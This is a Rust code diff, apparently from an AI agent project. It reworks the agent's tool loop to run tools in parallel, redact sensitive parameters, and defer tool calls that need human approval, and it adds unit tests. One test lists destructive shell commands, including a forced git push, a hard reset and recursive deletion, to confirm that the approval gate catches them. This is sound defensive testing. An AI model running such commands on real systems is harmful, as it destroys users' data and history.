"Let me search…" but don't issue tool_calls. + if !force_text + && !context.available_tools.is_empty() + && consecutive_tool_intent_nudges < MAX_TOOL_INTENT_NUDGES + && crate::llm::llm_signals_tool_intent(&text) + { + consecutive_tool_intent_nudges += 1; + tracing::info!( + iteration, + "LLM expressed tool intent without calling a tool, nudging" ); context_messages.push(ChatMessage::assistant(&text)); - context_messages.push(ChatMessage::user( - "Please proceed and use the available tools to complete this task.", - )); + context_messages.push(ChatMessage::user(crate::llm::TOOL_INTENT_NUDGE)); continue; } - // Tools have been executed or we've tried multiple times, return response - return Ok(AgenticLoopResult::Response(text)); + // Strip internal "[Called tool ...]" text that can leak when + // provider flattening (e.g. NEAR AI) converts tool_calls to + // plain text and the LLM echoes it back. + let sanitized = strip_internal_tool_call_text(&text); + return Ok(AgenticLoopResult::Response(sanitized)); } RespondResult::ToolCalls { tool_calls, content, } => { - tools_executed = true; - + consecutive_tool_intent_nudges = 0; // Add the assistant message with tool_calls to context. // OpenAI protocol requires this before tool-result messages. context_messages.push(ChatMessage::assistant_with_tool_calls( @@ -242,205 +380,426 @@ impl Agent { ) .await; - // Record tool calls in the thread + // Record tool calls in the thread with sensitive params redacted. + // Look up each tool's sensitive_params before acquiring the session lock. { + let mut redacted_args: Vec = + Vec::with_capacity(tool_calls.len()); + for tc in &tool_calls { + let safe = if let Some(tool) = self.tools().get(&tc.name).await { + redact_params(&tc.arguments, tool.sensitive_params()) + } else { + tc.arguments.clone() + }; + redacted_args.push(safe); + } let mut sess = session.lock().await; if let Some(thread) = sess.threads.get_mut(&thread_id) && let Some(turn) = thread.last_turn_mut() { - for tc in &tool_calls { - turn.record_tool_call(&tc.name, tc.arguments.clone()); + for (tc, safe_args) in tool_calls.iter().zip(redacted_args) { + turn.record_tool_call(&tc.name, safe_args); } } } - // Execute each tool (with approval checking and hook interception) - for mut tc in tool_calls { - // Check if tool requires approval - if let Some(tool) = self.tools().get(&tc.name).await - && tool.requires_approval() + // === Phase 1: Preflight (sequential) === + // Walk tool_calls checking approval and hooks. Classify + // each tool as Rejected (by hook) or Runnable. Stop at the + // first tool that needs approval. + // + // Outcomes are indexed by original tool_calls position so + // Phase 3 can emit results in the correct order. + enum PreflightOutcome { + /// Hook rejected/blocked this tool; contains the error message. + Rejected(String), + /// Tool passed preflight and will be executed. + Runnable, + } + let mut preflight: Vec<(crate::llm::ToolCall, PreflightOutcome)> = Vec::new(); + let mut runnable: Vec<(usize, crate::llm::ToolCall)> = Vec::new(); + let mut approval_needed: Option<( + usize, + crate::llm::ToolCall, + Arc, + )> = None; + + for (idx, original_tc) in tool_calls.iter().enumerate() { + let mut tc = original_tc.clone(); + + // Fetch the tool upfront so we can redact sensitive params + // before they touch hooks or approval display. + let tool_opt = self.tools().get(&tc.name).await; + let sensitive = tool_opt + .as_ref() + .map(|t| t.sensitive_params()) + .unwrap_or(&[]); + + // Hook: BeforeToolCall (runs before approval so hooks can + // modify parameters — approval is checked on final params). + // Hooks receive redacted params so sensitive values are not + // exposed to hook handlers or their logs. + let hook_params = redact_params(&tc.arguments, sensitive); + let event = crate::hooks::HookEvent::ToolCall { + tool_name: tc.name.clone(), + parameters: hook_params, + user_id: message.user_id.clone(), + context: "chat".to_string(), + }; + match self.hooks().run(&event).await { + Err(crate::hooks::HookError::Rejected { reason }) => { + preflight.push(( + tc, + PreflightOutcome::Rejected(format!( + "Tool call rejected by hook: {}", + reason + )), + )); + continue; // skip to next tool (not infinite: using for loop) + } + Err(err) => { + preflight.push(( + tc, + PreflightOutcome::Rejected(format!( + "Tool call blocked by hook policy: {}", + err + )), + )); + continue; + } + Ok(crate::hooks::HookOutcome::Continue { + modified: Some(new_params), + }) => match serde_json::from_str::(&new_params) { + Ok(mut parsed) => { + // Restore original sensitive param values so a hook + // cannot overwrite them (they were sent as [REDACTED]). + if let Some(obj) = parsed.as_object_mut() { + for key in sensitive { + if let Some(orig_val) = original_tc.arguments.get(*key) + { + obj.insert((*key).to_string(), orig_val.clone()); + } + } + } + tc.arguments = parsed; + } + Err(e) => { + tracing::warn!( + tool = %tc.name, + "Hook returned non-JSON modification for ToolCall, ignoring: {}", + e + ); + } + }, + _ => {} + } + + // Check if tool requires approval on the final (post-hook) + // parameters. Skipped when auto_approve_tools is set. + if !self.config.auto_approve_tools + && let Some(tool) = tool_opt { - // Check if auto-approved for this session - let mut is_auto_approved = { - let sess = session.lock().await; - sess.is_tool_auto_approved(&tc.name) + use crate::tools::ApprovalRequirement; + let needs_approval = match tool.requires_approval(&tc.arguments) { + ApprovalRequirement::Never => false, + ApprovalRequirement::UnlessAutoApproved => { + let sess = session.lock().await; + !sess.is_tool_auto_approved(&tc.name) + } + ApprovalRequirement::Always => true, }; - // Override auto-approval for destructive parameters - // (e.g. `rm -rf`, `git push --force` in shell commands). - if is_auto_approved && tool.requires_approval_for(&tc.arguments) { - tracing::info!( - tool = %tc.name, - "Parameters require explicit approval despite auto-approve" - ); - is_auto_approved = false; - } - - if !is_auto_approved { - // Need approval - store pending request and return - let pending = PendingApproval { - request_id: Uuid::new_v4(), - tool_name: tc.name.clone(), - parameters: tc.arguments.clone(), - description: tool.description().to_string(), - tool_call_id: tc.id.clone(), - context_messages: context_messages.clone(), - }; - - return Ok(AgenticLoopResult::NeedApproval { pending }); + if needs_approval { + approval_needed = Some((idx, tc, tool)); + break; // remaining tools are deferred } } - // Hook: BeforeToolCall — allow hooks to modify or reject tool calls - { - let event = crate::hooks::HookEvent::ToolCall { - tool_name: tc.name.clone(), - parameters: tc.arguments.clone(), - user_id: message.user_id.clone(), - context: "chat".to_string(), - }; - match self.hooks().run(&event).await { - Err(crate::hooks::HookError::Rejected { reason }) => { - context_messages.push(ChatMessage::tool_result( - &tc.id, - &tc.name, - format!("Tool call rejected by hook: {}", reason), - )); - continue; + let preflight_idx = preflight.len(); + preflight.push((tc.clone(), PreflightOutcome::Runnable)); + runnable.push((preflight_idx, tc)); + } + + // === Phase 2: Parallel execution === + // Execute runnable tools and slot results back by preflight + // index so Phase 3 can iterate in original order. + let mut exec_results: Vec>> = + (0..preflight.len()).map(|_| None).collect(); + + if runnable.len() <= 1 { + // Single tool (or none): execute inline + for (pf_idx, tc) in &runnable { + let _ = self + .channels + .send_status( + &message.channel, + StatusUpdate::ToolStarted { + name: tc.name.clone(), + }, + &message.metadata, + ) + .await; + + let result = self + .execute_chat_tool(&tc.name, &tc.arguments, &job_ctx) + .await; + + let disp_tool = self.tools().get(&tc.name).await; + let _ = self + .channels + .send_status( + &message.channel, + StatusUpdate::tool_completed( + tc.name.clone(), + &result, + &tc.arguments, + disp_tool.as_deref(), + ), + &message.metadata, + ) + .await; + + exec_results[*pf_idx] = Some(result); + } + } else { + // Multiple tools: execute in parallel via JoinSet + let mut join_set = JoinSet::new(); + + for (pf_idx, tc) in &runnable { + let pf_idx = *pf_idx; + let tools = self.tools().clone(); + let safety = self.safety().clone(); + let channels = self.channels.clone(); + let job_ctx = job_ctx.clone(); + let tc = tc.clone(); + let channel = message.channel.clone(); + let metadata = message.metadata.clone(); + + join_set.spawn(async move { + let _ = channels + .send_status( + &channel, + StatusUpdate::ToolStarted { + name: tc.name.clone(), + }, + &metadata, + ) + .await; + + let result = execute_chat_tool_standalone( + &tools, + &safety, + &tc.name, + &tc.arguments, + &job_ctx, + ) + .await; + + let par_tool = tools.get(&tc.name).await; + let _ = channels + .send_status( + &channel, + StatusUpdate::tool_completed( + tc.name.clone(), + &result, + &tc.arguments, + par_tool.as_deref(), + ), + &metadata, + ) + .await; + + (pf_idx, result) + }); + } + + while let Some(join_result) = join_set.join_next().await { + match join_result { + Ok((pf_idx, result)) => { + exec_results[pf_idx] = Some(result); } - Err(err) => { - context_messages.push(ChatMessage::tool_result( - &tc.id, - &tc.name, - format!("Tool call blocked by hook policy: {}", err), - )); - continue; - } - Ok(crate::hooks::HookOutcome::Continue { - modified: Some(new_params), - }) => match serde_json::from_str(&new_params) { - Ok(parsed) => tc.arguments = parsed, - Err(e) => { - tracing::warn!( - tool = %tc.name, - "Hook returned non-JSON modification for ToolCall, ignoring: {}", + Err(e) => { + if e.is_panic() { + tracing::error!("Chat tool execution task panicked: {}", e); + } else { + tracing::error!( + "Chat tool execution task cancelled: {}", e ); } - }, - _ => {} // Continue, fail-open errors already logged + } } } - let _ = self - .channels - .send_status( - &message.channel, - StatusUpdate::ToolStarted { - name: tc.name.clone(), - }, - &message.metadata, - ) - .await; - - let tool_result = self - .execute_chat_tool(&tc.name, &tc.arguments, &job_ctx) - .await; - - let _ = self - .channels - .send_status( - &message.channel, - StatusUpdate::ToolCompleted { - name: tc.name.clone(), - success: tool_result.is_ok(), - }, - &message.metadata, - ) - .await; - - if let Ok(ref output) = tool_result - && !output.is_empty() - { - let _ = self - .channels - .send_status( - &message.channel, - StatusUpdate::ToolResult { + // Fill panicked slots with error results + for (runnable_idx, (pf_idx, tc)) in runnable.iter().enumerate() { + if exec_results[*pf_idx].is_none() { + tracing::error!( + tool = %tc.name, + runnable_idx, + "Filling failed task slot with error" + ); + exec_results[*pf_idx] = + Some(Err(crate::error::ToolError::ExecutionFailed { name: tc.name.clone(), - preview: output.clone(), - }, - &message.metadata, - ) - .await; + reason: "Task failed during execution".to_string(), + } + .into())); + } } + } - // Record result in thread - { - let mut sess = session.lock().await; - if let Some(thread) = sess.threads.get_mut(&thread_id) - && let Some(turn) = thread.last_turn_mut() - { - match &tool_result { + // === Phase 3: Post-flight (sequential, in original order) === + // Process all results — both hook rejections and execution + // results — in the original tool_calls order. Auth intercept + // is deferred until after every result is recorded. + let mut deferred_auth: Option = None; + + for (pf_idx, (tc, outcome)) in preflight.into_iter().enumerate() { + match outcome { + PreflightOutcome::Rejected(error_msg) => { + // Record hook rejection in thread + { + let mut sess = session.lock().await; + if let Some(thread) = sess.threads.get_mut(&thread_id) + && let Some(turn) = thread.last_turn_mut() + { + turn.record_tool_error(error_msg.clone()); + } + } + context_messages + .push(ChatMessage::tool_result(&tc.id, &tc.name, error_msg)); + } + PreflightOutcome::Runnable => { + // Retrieve the execution result for this slot + let tool_result = + exec_results[pf_idx].take().unwrap_or_else(|| { + Err(crate::error::ToolError::ExecutionFailed { + name: tc.name.clone(), + reason: "No result available".to_string(), + } + .into()) + }); + + // Send ToolResult preview + if let Ok(ref output) = tool_result + && !output.is_empty() + { + let _ = self + .channels + .send_status( + &message.channel, + StatusUpdate::ToolResult { + name: tc.name.clone(), + preview: output.clone(), + }, + &message.metadata, + ) + .await; + } + + // Record result in thread + { + let mut sess = session.lock().await; + if let Some(thread) = sess.threads.get_mut(&thread_id) + && let Some(turn) = thread.last_turn_mut() + { + match &tool_result { + Ok(output) => { + turn.record_tool_result(serde_json::json!(output)); + } + Err(e) => { + turn.record_tool_error(e.to_string()); + } + } + } + } + + // Check for auth awaiting — defer the return + // until all results are recorded. + if deferred_auth.is_none() + && let Some((ext_name, instructions)) = + check_auth_required(&tc.name, &tool_result) + { + let auth_data = parse_auth_result(&tool_result); + { + let mut sess = session.lock().await; + if let Some(thread) = sess.threads.get_mut(&thread_id) { + thread.enter_auth_mode(ext_name.clone()); + } + } + let _ = self + .channels + .send_status( + &message.channel, + StatusUpdate::AuthRequired { + extension_name: ext_name, + instructions: Some(instructions.clone()), + auth_url: auth_data.auth_url, + setup_url: auth_data.setup_url, + }, + &message.metadata, + ) + .await; + deferred_auth = Some(instructions); + } + + // Stash full output so subsequent tools can reference it + if let Ok(ref output) = tool_result { + job_ctx + .tool_output_stash + .write() + .await + .insert(tc.id.clone(), output.clone()); + } + + // Sanitize and add tool result to context + let result_content = match tool_result { Ok(output) => { - turn.record_tool_result(serde_json::json!(output)); + let sanitized = + self.safety().sanitize_tool_output(&tc.name, &output); + self.safety().wrap_for_llm( + &tc.name, + &sanitized.content, + sanitized.was_modified, + ) } - Err(e) => { - turn.record_tool_error(e.to_string()); - } - } - } - } + Err(e) => format!("Tool '{}' failed: {}", tc.name, e), + }; - // If tool_auth returned awaiting_token, enter auth mode - // and short-circuit: return the instructions directly so - // the LLM doesn't get a chance to hallucinate tool calls. - if let Some((ext_name, instructions)) = - detect_auth_awaiting(&tc.name, &tool_result) - { - let auth_data = parse_auth_result(&tool_result); - { - let mut sess = session.lock().await; - if let Some(thread) = sess.threads.get_mut(&thread_id) { - thread.enter_auth_mode(ext_name.clone()); - } - } - let _ = self - .channels - .send_status( - &message.channel, - StatusUpdate::AuthRequired { - extension_name: ext_name, - instructions: Some(instructions.clone()), - auth_url: auth_data.auth_url, - setup_url: auth_data.setup_url, - }, - &message.metadata, - ) - .await; - return Ok(AgenticLoopResult::Response(instructions)); - } - - // Add tool result to context for next LLM call - let result_content = match tool_result { - Ok(output) => { - // Sanitize output before showing to LLM - let sanitized = - self.safety().sanitize_tool_output(&tc.name, &output); - self.safety().wrap_for_llm( + context_messages.push(ChatMessage::tool_result( + &tc.id, &tc.name, - &sanitized.content, - sanitized.was_modified, - ) + result_content, + )); } - Err(e) => format!("Error: {}", e), + } + } + + // Return auth response after all results are recorded + if let Some(instructions) = deferred_auth { + return Ok(AgenticLoopResult::Response(instructions)); + } + + // Handle approval if a tool needed it + if let Some((approval_idx, tc, tool)) = approval_needed { + // Show redacted params in the approval UI — the user already knows + // the sensitive value (they provided it); showing it again is + // unnecessary and creates a leakage path through channel logs. + let display_params = redact_params(&tc.arguments, tool.sensitive_params()); + let pending = PendingApproval { + request_id: Uuid::new_v4(), + tool_name: tc.name.clone(), + parameters: tc.arguments.clone(), + display_parameters: display_params, + description: tool.description().to_string(), + tool_call_id: tc.id.clone(), + context_messages: context_messages.clone(), + deferred_tool_calls: tool_calls[approval_idx + 1..].to_vec(), + user_timezone: Some(user_tz.name().to_string()), }; - context_messages.push(ChatMessage::tool_result( - &tc.id, - &tc.name, - result_content, - )); + return Ok(AgenticLoopResult::NeedApproval { pending }); } } } @@ -454,95 +813,109 @@ impl Agent { params: &serde_json::Value, job_ctx: &JobContext, ) -> Result { - let tool = - self.tools() - .get(tool_name) - .await - .ok_or_else(|| crate::error::ToolError::NotFound { - name: tool_name.to_string(), - })?; - - // Validate tool parameters - let validation = self.safety().validator().validate_tool_params(params); - if !validation.is_valid { - let details = validation - .errors - .iter() - .map(|e| format!("{}: {}", e.field, e.message)) - .collect::>() - .join("; "); - return Err(crate::error::ToolError::InvalidParameters { - name: tool_name.to_string(), - reason: format!("Invalid tool parameters: {}", details), - } - .into()); - } - - tracing::debug!( - tool = %tool_name, - params = %params, - "Tool call started" - ); - - // Execute with per-tool timeout - let timeout = tool.execution_timeout(); - let start = std::time::Instant::now(); - let result = tokio::time::timeout(timeout, async { - tool.execute(params.clone(), job_ctx).await - }) - .await; - let elapsed = start.elapsed(); - - match &result { - Ok(Ok(output)) => { - let result_str = serde_json::to_string(&output.result) - .unwrap_or_else(|_| "".to_string()); - tracing::debug!( - tool = %tool_name, - elapsed_ms = elapsed.as_millis() as u64, - result = %result_str, - "Tool call succeeded" - ); - } - Ok(Err(e)) => { - tracing::debug!( - tool = %tool_name, - elapsed_ms = elapsed.as_millis() as u64, - error = %e, - "Tool call failed" - ); - } - Err(_) => { - tracing::debug!( - tool = %tool_name, - elapsed_ms = elapsed.as_millis() as u64, - timeout_secs = timeout.as_secs(), - "Tool call timed out" - ); - } - } - - let result = result - .map_err(|_| crate::error::ToolError::Timeout { - name: tool_name.to_string(), - timeout, - })? - .map_err(|e| crate::error::ToolError::ExecutionFailed { - name: tool_name.to_string(), - reason: e.to_string(), - })?; - - // Convert result to string - serde_json::to_string_pretty(&result.result).map_err(|e| { - crate::error::ToolError::ExecutionFailed { - name: tool_name.to_string(), - reason: format!("Failed to serialize result: {}", e), - } - .into() - }) + execute_chat_tool_standalone(self.tools(), self.safety(), tool_name, params, job_ctx).await } } +/// Execute a chat tool without requiring `&Agent`. +/// +/// This standalone function enables parallel invocation from spawned JoinSet +/// tasks, which cannot borrow `&self`. It replicates the logic from +/// `Agent::execute_chat_tool`. +pub(super) async fn execute_chat_tool_standalone( + tools: &crate::tools::ToolRegistry, + safety: &crate::safety::SafetyLayer, + tool_name: &str, + params: &serde_json::Value, + job_ctx: &crate::context::JobContext, +) -> Result { + let tool = tools + .get(tool_name) + .await + .ok_or_else(|| crate::error::ToolError::NotFound { + name: tool_name.to_string(), + })?; + + // Validate tool parameters + let validation = safety.validator().validate_tool_params(params); + if !validation.is_valid { + let details = validation + .errors + .iter() + .map(|e| format!("{}: {}", e.field, e.message)) + .collect::>() + .join("; "); + return Err(crate::error::ToolError::InvalidParameters { + name: tool_name.to_string(), + reason: format!("Invalid tool parameters: {}", details), + } + .into()); + } + + let safe_params = redact_params(params, tool.sensitive_params()); + tracing::debug!( + tool = %tool_name, + params = %safe_params, + "Tool call started" + ); + + // Execute with per-tool timeout + let timeout = tool.execution_timeout(); + let start = std::time::Instant::now(); + let result = tokio::time::timeout(timeout, async { + tool.execute(params.clone(), job_ctx).await + }) + .await; + let elapsed = start.elapsed(); + + match &result { + Ok(Ok(output)) => { + let result_str = serde_json::to_string(&output.result) + .unwrap_or_else(|_| "".to_string()); + tracing::debug!( + tool = %tool_name, + elapsed_ms = elapsed.as_millis() as u64, + result = %result_str, + "Tool call succeeded" + ); + } + Ok(Err(e)) => { + tracing::debug!( + tool = %tool_name, + elapsed_ms = elapsed.as_millis() as u64, + error = %e, + "Tool call failed" + ); + } + Err(_) => { + tracing::debug!( + tool = %tool_name, + elapsed_ms = elapsed.as_millis() as u64, + timeout_secs = timeout.as_secs(), + "Tool call timed out" + ); + } + } + + let result = result + .map_err(|_| crate::error::ToolError::Timeout { + name: tool_name.to_string(), + timeout, + })? + .map_err(|e| crate::error::ToolError::ExecutionFailed { + name: tool_name.to_string(), + reason: e.to_string(), + })?; + + serde_json::to_string_pretty(&result.result).map_err(|e| { + crate::error::ToolError::ExecutionFailed { + name: tool_name.to_string(), + reason: format!("Failed to serialize result: {}", e), + } + .into() + }) +} + /// Parsed auth result fields for emitting StatusUpdate::AuthRequired. pub(super) struct ParsedAuthData { pub(super) auth_url: Option, @@ -573,7 +946,7 @@ pub(super) fn parse_auth_result(result: &Result) -> ParsedAuthDat /// /// Returns `Some((extension_name, instructions))` if the tool result contains /// `awaiting_token: true`, meaning the thread should enter auth mode. -pub(super) fn detect_auth_awaiting( +pub(super) fn check_auth_required( tool_name: &str, result: &Result, ) -> Option<(String, String)> { @@ -594,11 +967,311 @@ pub(super) fn detect_auth_awaiting( Some((name, instructions)) } +/// Compact messages for retry after a context-length-exceeded error. +/// +/// Keeps all `System` messages (which carry the system prompt and instructions), +/// finds the last `User` message, and retains it plus every subsequent message +/// (the current turn's assistant tool calls and tool results). A short note is +/// inserted so the LLM knows earlier history was dropped. +fn compact_messages_for_retry(messages: &[ChatMessage]) -> Vec { + use crate::llm::Role; + + let mut compacted = Vec::new(); + + // Find the last User message index + let last_user_idx = messages.iter().rposition(|m| m.role == Role::User); + + if let Some(idx) = last_user_idx { + // Keep System messages that appear BEFORE the last User message. + // System messages after that point (e.g. nudges) are included in the + // slice extension below, avoiding duplication. + for msg in &messages[..idx] { + if msg.role == Role::System { + compacted.push(msg.clone()); + } + } + + // Only add a compaction note if there was earlier history that is being dropped + if idx > 0 { + compacted.push(ChatMessage::system( + "[Note: Earlier conversation history was automatically compacted \ + to fit within the context window. The most recent exchange is preserved below.]", + )); + } + + // Keep the last User message and everything after it + compacted.extend_from_slice(&messages[idx..]); + } else { + // No user messages found (shouldn't happen normally); keep everything, + // with system messages first to preserve prompt ordering. + for msg in messages { + if msg.role == Role::System { + compacted.push(msg.clone()); + } + } + for msg in messages { + if msg.role != Role::System { + compacted.push(msg.clone()); + } + } + } + + compacted +} + +/// Strip internal `[Called tool ...]` and `[Tool ... returned: ...]` markers +/// from a response string. These markers are inserted by provider-level message +/// flattening (e.g. NEAR AI) and can leak into the user-visible response when +/// the LLM echoes them back. +fn strip_internal_tool_call_text(text: &str) -> String { + // Remove lines that are purely internal tool-call markers. + // Pattern: lines matching `[Called tool (...)]` or `[Tool returned: ...]` + let result = text + .lines() + .filter(|line| { + let trimmed = line.trim(); + !((trimmed.starts_with("[Called tool ") && trimmed.ends_with(']')) + || (trimmed.starts_with("[Tool ") + && trimmed.contains(" returned:") + && trimmed.ends_with(']'))) + }) + .fold(String::new(), |mut acc, s| { + if !acc.is_empty() { + acc.push('\n'); + } + acc.push_str(s); + acc + }); + + let result = result.trim(); + if result.is_empty() { + "I wasn't able to complete that request. Could you try rephrasing or providing more details?".to_string() + } else { + result.to_string() + } +} + #[cfg(test)] mod tests { - use crate::error::Error; + use std::sync::Arc; + use std::time::Duration; - use super::detect_auth_awaiting; + use async_trait::async_trait; + use rust_decimal::Decimal; + + use crate::agent::agent_loop::{Agent, AgentDeps}; + use crate::agent::cost_guard::{CostGuard, CostGuardConfig}; + use crate::agent::session::Session; + use crate::channels::ChannelManager; + use crate::config::{AgentConfig, SafetyConfig, SkillsConfig}; + use crate::context::ContextManager; + use crate::error::Error; + use crate::hooks::HookRegistry; + use crate::llm::{ + CompletionRequest, CompletionResponse, FinishReason, LlmProvider, ToolCall, + ToolCompletionRequest, ToolCompletionResponse, + }; + use crate::safety::SafetyLayer; + use crate::tools::ToolRegistry; + + use super::check_auth_required; + + /// Minimal LLM provider for unit tests that always returns a static response. + struct StaticLlmProvider; + + #[async_trait] + impl LlmProvider for StaticLlmProvider { + fn model_name(&self) -> &str { + "static-mock" + } + + fn cost_per_token(&self) -> (Decimal, Decimal) { + (Decimal::ZERO, Decimal::ZERO) + } + + async fn complete( + &self, + _request: CompletionRequest, + ) -> Result { + Ok(CompletionResponse { + content: "ok".to_string(), + input_tokens: 0, + output_tokens: 0, + finish_reason: FinishReason::Stop, + cache_read_input_tokens: 0, + cache_creation_input_tokens: 0, + }) + } + + async fn complete_with_tools( + &self, + _request: ToolCompletionRequest, + ) -> Result { + Ok(ToolCompletionResponse { + content: Some("ok".to_string()), + tool_calls: Vec::new(), + input_tokens: 0, + output_tokens: 0, + finish_reason: FinishReason::Stop, + cache_read_input_tokens: 0, + cache_creation_input_tokens: 0, + }) + } + } + + /// Build a minimal `Agent` for unit testing (no DB, no workspace, no extensions). + fn make_test_agent() -> Agent { + let deps = AgentDeps { + store: None, + llm: Arc::new(StaticLlmProvider), + cheap_llm: None, + safety: Arc::new(SafetyLayer::new(&SafetyConfig { + max_output_length: 100_000, + injection_check_enabled: true, + })), + tools: Arc::new(ToolRegistry::new()), + workspace: None, + extension_manager: None, + skill_registry: None, + skill_catalog: None, + skills_config: SkillsConfig::default(), + hooks: Arc::new(HookRegistry::new()), + cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())), + sse_tx: None, + http_interceptor: None, + transcription: None, + document_extraction: None, + }; + + Agent::new( + AgentConfig { + name: "test-agent".to_string(), + max_parallel_jobs: 1, + job_timeout: Duration::from_secs(60), + stuck_threshold: Duration::from_secs(60), + repair_check_interval: Duration::from_secs(30), + max_repair_attempts: 1, + use_planning: false, + session_idle_timeout: Duration::from_secs(300), + allow_local_tools: false, + max_cost_per_day_cents: None, + max_actions_per_hour: None, + max_tool_iterations: 50, + auto_approve_tools: false, + default_timezone: "UTC".to_string(), + }, + deps, + Arc::new(ChannelManager::new()), + None, + None, + None, + Some(Arc::new(ContextManager::new(1))), + None, + ) + } + + #[test] + fn test_make_test_agent_succeeds() { + // Verify that a test agent can be constructed without panicking. + let _agent = make_test_agent(); + } + + #[test] + fn test_auto_approved_tool_is_respected() { + let _agent = make_test_agent(); + let mut session = Session::new("user-1"); + session.auto_approve_tool("http"); + + // A non-shell tool that is auto-approved should be approved. + assert!(session.is_tool_auto_approved("http")); + // A tool that hasn't been auto-approved should not be. + assert!(!session.is_tool_auto_approved("shell")); + } + + #[test] + fn test_shell_destructive_command_requires_explicit_approval() { + // requires_explicit_approval() detects destructive commands that + // should return ApprovalRequirement::Always from ShellTool. + use crate::tools::builtin::shell::requires_explicit_approval; + + let destructive_cmds = [ + "rm -rf /tmp/test", + "git push --force origin main", + "git reset --hard HEAD~5", + ]; + for cmd in &destructive_cmds { + assert!( + requires_explicit_approval(cmd), + "'{}' should require explicit approval", + cmd + ); + } + + let safe_cmds = ["git status", "cargo build", "ls -la"]; + for cmd in &safe_cmds { + assert!( + !requires_explicit_approval(cmd), + "'{}' should not require explicit approval", + cmd + ); + } + } + + #[test] + fn test_pending_approval_serialization_backcompat_without_deferred_calls() { + // PendingApproval from before the deferred_tool_calls field was added + // should deserialize with an empty vec (via #[serde(default)]). + let json = serde_json::json!({ + "request_id": uuid::Uuid::new_v4(), + "tool_name": "http", + "parameters": {"url": "https://example.com", "method": "GET"}, + "description": "Make HTTP request", + "tool_call_id": "call_123", + "context_messages": [{"role": "user", "content": "go"}] + }) + .to_string(); + + let parsed: crate::agent::session::PendingApproval = + serde_json::from_str(&json).expect("should deserialize without deferred_tool_calls"); + + assert!(parsed.deferred_tool_calls.is_empty()); + assert_eq!(parsed.tool_name, "http"); + assert_eq!(parsed.tool_call_id, "call_123"); + } + + #[test] + fn test_pending_approval_serialization_roundtrip_with_deferred_calls() { + let pending = crate::agent::session::PendingApproval { + request_id: uuid::Uuid::new_v4(), + tool_name: "shell".to_string(), + parameters: serde_json::json!({"command": "echo hi"}), + display_parameters: serde_json::json!({"command": "echo hi"}), + description: "Run shell command".to_string(), + tool_call_id: "call_1".to_string(), + context_messages: vec![], + deferred_tool_calls: vec![ + ToolCall { + id: "call_2".to_string(), + name: "http".to_string(), + arguments: serde_json::json!({"url": "https://example.com"}), + }, + ToolCall { + id: "call_3".to_string(), + name: "echo".to_string(), + arguments: serde_json::json!({"message": "done"}), + }, + ], + user_timezone: None, + }; + + let json = serde_json::to_string(&pending).expect("serialize"); + let parsed: crate::agent::session::PendingApproval = + serde_json::from_str(&json).expect("deserialize"); + + assert_eq!(parsed.deferred_tool_calls.len(), 2); + assert_eq!(parsed.deferred_tool_calls[0].name, "http"); + assert_eq!(parsed.deferred_tool_calls[1].name, "echo"); + } #[test] fn test_detect_auth_awaiting_positive() { @@ -611,7 +1284,7 @@ mod tests { }) .to_string()); - let detected = detect_auth_awaiting("tool_auth", &result); + let detected = check_auth_required("tool_auth", &result); assert!(detected.is_some()); let (name, instructions) = detected.unwrap(); assert_eq!(name, "telegram"); @@ -628,7 +1301,7 @@ mod tests { }) .to_string()); - assert!(detect_auth_awaiting("tool_auth", &result).is_none()); + assert!(check_auth_required("tool_auth", &result).is_none()); } #[test] @@ -639,14 +1312,14 @@ mod tests { }) .to_string()); - assert!(detect_auth_awaiting("tool_list", &result).is_none()); + assert!(check_auth_required("tool_list", &result).is_none()); } #[test] fn test_detect_auth_awaiting_error_result() { let result: Result = Err(crate::error::ToolError::NotFound { name: "x".into() }.into()); - assert!(detect_auth_awaiting("tool_auth", &result).is_none()); + assert!(check_auth_required("tool_auth", &result).is_none()); } #[test] @@ -658,7 +1331,7 @@ mod tests { }) .to_string()); - let (_, instructions) = detect_auth_awaiting("tool_auth", &result).unwrap(); + let (_, instructions) = check_auth_required("tool_auth", &result).unwrap(); assert_eq!(instructions, "Please provide your API token/key."); } @@ -673,7 +1346,7 @@ mod tests { }) .to_string()); - let detected = detect_auth_awaiting("tool_activate", &result); + let detected = check_auth_required("tool_activate", &result); assert!(detected.is_some()); let (name, instructions) = detected.unwrap(); assert_eq!(name, "slack"); @@ -689,6 +1362,766 @@ mod tests { }) .to_string()); - assert!(detect_auth_awaiting("tool_activate", &result).is_none()); + assert!(check_auth_required("tool_activate", &result).is_none()); + } + + #[tokio::test] + async fn test_execute_chat_tool_standalone_success() { + use crate::config::SafetyConfig; + use crate::context::JobContext; + use crate::safety::SafetyLayer; + use crate::tools::ToolRegistry; + use crate::tools::builtin::EchoTool; + + let registry = ToolRegistry::new(); + registry.register(std::sync::Arc::new(EchoTool)).await; + + let safety = SafetyLayer::new(&SafetyConfig { + max_output_length: 100_000, + injection_check_enabled: false, + }); + + let job_ctx = JobContext::with_user("test", "chat", "test session"); + + let result = super::execute_chat_tool_standalone( + ®istry, + &safety, + "echo", + &serde_json::json!({"message": "hello"}), + &job_ctx, + ) + .await; + + assert!(result.is_ok()); + let output = result.unwrap(); + assert!(output.contains("hello")); + } + + #[tokio::test] + async fn test_execute_chat_tool_standalone_not_found() { + use crate::config::SafetyConfig; + use crate::context::JobContext; + use crate::safety::SafetyLayer; + use crate::tools::ToolRegistry; + + let registry = ToolRegistry::new(); + let safety = SafetyLayer::new(&SafetyConfig { + max_output_length: 100_000, + injection_check_enabled: false, + }); + let job_ctx = JobContext::with_user("test", "chat", "test session"); + + let result = super::execute_chat_tool_standalone( + ®istry, + &safety, + "nonexistent", + &serde_json::json!({}), + &job_ctx, + ) + .await; + + assert!(result.is_err()); + } + + // ---- compact_messages_for_retry tests ---- + + use super::compact_messages_for_retry; + use crate::llm::{ChatMessage, Role}; + + #[test] + fn test_compact_keeps_system_and_last_user_exchange() { + let messages = vec![ + ChatMessage::system("You are a helpful assistant."), + ChatMessage::user("First question"), + ChatMessage::assistant("First answer"), + ChatMessage::user("Second question"), + ChatMessage::assistant("Second answer"), + ChatMessage::user("Third question"), + ChatMessage::assistant_with_tool_calls( + None, + vec![ToolCall { + id: "call_1".to_string(), + name: "echo".to_string(), + arguments: serde_json::json!({"message": "hi"}), + }], + ), + ChatMessage::tool_result("call_1", "echo", "hi"), + ]; + + let compacted = compact_messages_for_retry(&messages); + + // Should have: system prompt + compaction note + last user msg + tool call + tool result + assert_eq!(compacted.len(), 5); + assert_eq!(compacted[0].role, Role::System); + assert_eq!(compacted[0].content, "You are a helpful assistant."); + assert_eq!(compacted[1].role, Role::System); // compaction note + assert!(compacted[1].content.contains("compacted")); + assert_eq!(compacted[2].role, Role::User); + 